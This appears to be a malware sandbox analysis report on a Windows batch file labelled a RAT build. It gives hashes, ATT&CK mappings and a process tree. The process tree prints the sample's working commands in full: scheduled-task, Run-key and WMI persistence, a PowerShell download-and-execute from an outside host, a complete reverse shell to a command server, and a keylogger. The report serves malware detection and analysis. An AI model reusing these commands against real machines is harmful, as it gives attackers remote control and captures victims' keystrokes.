73ca6ba2cb20efc41b5ca2b6af32059b17237ccf10c4ae60a4d20c378453dcad

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:48

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General

Target
rat_build_245499_014647.bat
Size 5KB
Sample260529-b8llmsav51
SHA256 73ca6ba2cb20efc41b5ca2b6af32059b17237ccf10c4ae60a4d20c378453dcad
MD5 0d34bb254aa8d04586a4ab747461d5d4
SHA1 ba30eba15cd5a734f2841aa4b9cc512e935eedec
SHA512 05a1ee5f4034994cb9ee99d072384a318137f9c9300199b40ad2ef13237497e39bb7ddf0da12a48d098d5e8a6b67d20ea20397f264230491653b08f95b4ec26c
SSDEEP 96:qIFfWP62CHSi0grBsZRm6ACyIVLg91g/3ItHiFgZk8mvlo1IIrLrmj:qFP6Oi7rBsZRmMyGLt/3ItHiFgkHlVI8
TLSH
T1ABB1DA177756E52084F02A98DE333444676CD6FF1348DA9EFA0DCED8055CA43D6286EB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_245499.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4172	powershell.exe
4712	powershell.exe
4844	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_245499 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_245499.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4908	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1172	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2924	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2504	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4172	powershell.exe
4172	powershell.exe
4712	powershell.exe
4712	powershell.exe
4844	powershell.exe
4844	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1740	WMIC.exe
Token: SeSecurityPrivilege	1740	WMIC.exe
Token: SeTakeOwnershipPrivilege	1740	WMIC.exe
Token: SeLoadDriverPrivilege	1740	WMIC.exe
Token: SeSystemProfilePrivilege	1740	WMIC.exe
Token: SeSystemtimePrivilege	1740	WMIC.exe
Token: SeProfSingleProcessPrivilege	1740	WMIC.exe
Token: SeIncBasePriorityPrivilege	1740	WMIC.exe
Token: SeCreatePagefilePrivilege	1740	WMIC.exe
Token: SeBackupPrivilege	1740	WMIC.exe
Token: SeRestorePrivilege	1740	WMIC.exe
Token: SeShutdownPrivilege	1740	WMIC.exe
Token: SeDebugPrivilege	1740	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1740	WMIC.exe
Token: SeRemoteShutdownPrivilege	1740	WMIC.exe
Token: SeUndockPrivilege	1740	WMIC.exe
Token: SeManageVolumePrivilege	1740	WMIC.exe
Token: 33	1740	WMIC.exe
Token: 34	1740	WMIC.exe
Token: 35	1740	WMIC.exe
Token: 36	1740	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1740	WMIC.exe
Token: SeSecurityPrivilege	1740	WMIC.exe
Token: SeTakeOwnershipPrivilege	1740	WMIC.exe
Token: SeLoadDriverPrivilege	1740	WMIC.exe
Token: SeSystemProfilePrivilege	1740	WMIC.exe
Token: SeSystemtimePrivilege	1740	WMIC.exe
Token: SeProfSingleProcessPrivilege	1740	WMIC.exe
Token: SeIncBasePriorityPrivilege	1740	WMIC.exe
Token: SeCreatePagefilePrivilege	1740	WMIC.exe
Token: SeBackupPrivilege	1740	WMIC.exe
Token: SeRestorePrivilege	1740	WMIC.exe
Token: SeShutdownPrivilege	1740	WMIC.exe
Token: SeDebugPrivilege	1740	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1740	WMIC.exe
Token: SeRemoteShutdownPrivilege	1740	WMIC.exe
Token: SeUndockPrivilege	1740	WMIC.exe
Token: SeManageVolumePrivilege	1740	WMIC.exe
Token: 33	1740	WMIC.exe
Token: 34	1740	WMIC.exe
Token: 35	1740	WMIC.exe
Token: 36	1740	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2140	WMIC.exe
Token: SeSecurityPrivilege	2140	WMIC.exe
Token: SeTakeOwnershipPrivilege	2140	WMIC.exe
Token: SeLoadDriverPrivilege	2140	WMIC.exe
Token: SeSystemProfilePrivilege	2140	WMIC.exe
Token: SeSystemtimePrivilege	2140	WMIC.exe
Token: SeProfSingleProcessPrivilege	2140	WMIC.exe
Token: SeIncBasePriorityPrivilege	2140	WMIC.exe
Token: SeCreatePagefilePrivilege	2140	WMIC.exe
Token: SeBackupPrivilege	2140	WMIC.exe
Token: SeRestorePrivilege	2140	WMIC.exe
Token: SeShutdownPrivilege	2140	WMIC.exe
Token: SeDebugPrivilege	2140	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2140	WMIC.exe
Token: SeRemoteShutdownPrivilege	2140	WMIC.exe
Token: SeUndockPrivilege	2140	WMIC.exe
Token: SeManageVolumePrivilege	2140	WMIC.exe
Token: 33	2140	WMIC.exe
Token: 34	2140	WMIC.exe
Token: 35	2140	WMIC.exe
Token: 36	2140	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2140	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 776 wrote to memory of 2504	776	cmd.exe	88
PID 776 wrote to memory of 2924	776	cmd.exe	89
PID 776 wrote to memory of 1740	776	cmd.exe	90
PID 776 wrote to memory of 2140	776	cmd.exe	91
PID 776 wrote to memory of 4404	776	cmd.exe	92
PID 776 wrote to memory of 1172	776	cmd.exe	93
PID 776 wrote to memory of 4908	776	cmd.exe	100
PID 776 wrote to memory of 4172	776	cmd.exe	101
PID 776 wrote to memory of 4712	776	cmd.exe	102
PID 776 wrote to memory of 4844	776	cmd.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_245499_014647.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:776
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_245499" /tr "C:\Users\Admin\AppData\Local\Temp\_245499.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2504
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_245499" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_245499.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:2924
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_245499", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1740
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_245499", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_245499.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2140
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_245499.txt
  2⤵
  PID:4404
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:1172
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:4908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_245499.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4844

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ace180126eb802751476c9418b184891dd94505b046f88d2d6a13748aaa029c3
MD5 fffab80a6a0918dbf206938e609e9a9f
SHA1 96b962de36c65c7d88f2834ba3d75ddbf11fa0cd
SHA512 179da5bc2010025c31f459d74a6fcc864dd474aaea6173e8c2604df87d47f1b8d52ed16693fdbd8c709b15aba46e43ba636dc5120a766a46919bd2b636569a6b
TLSH
T122115327F39C8921CC96153A409DAD1172B683DB81AEDE9F6FC4D214A07F984CB612A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 bba626ded6cbae483a87c1ea68474a815bb517e77fd462bb18c6df298c4cb890
MD5 d7f848f7de60cad7f3d9733a9e4ca453
SHA1 5f3d9d837b6c37c97ee995f1d66d3d4f0e46d11b
SHA512 9a2a653d3b3fbbfe933c7b750928c436122669525ed4f93d00f198d0e6eea4caa72e41805b2c17c82c11ef55583b76f9274ec1a877eab34756874d00d7708cd7
TLSH
T16D115727B39C89A1CC96163A409D9C1172B683DB809EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_qb4yqs1r.gzm.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qb4yqs1r.gzm.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4172-5-0x00000237BCB50000-0x00000237BCB72000-memory.dmp

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memory/4712-23-0x00000196F06A0000-0x00000196F07EE000-memory.dmp

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memory/4844-33-0x000002ACD6660000-0x000002ACD67AE000-memory.dmp

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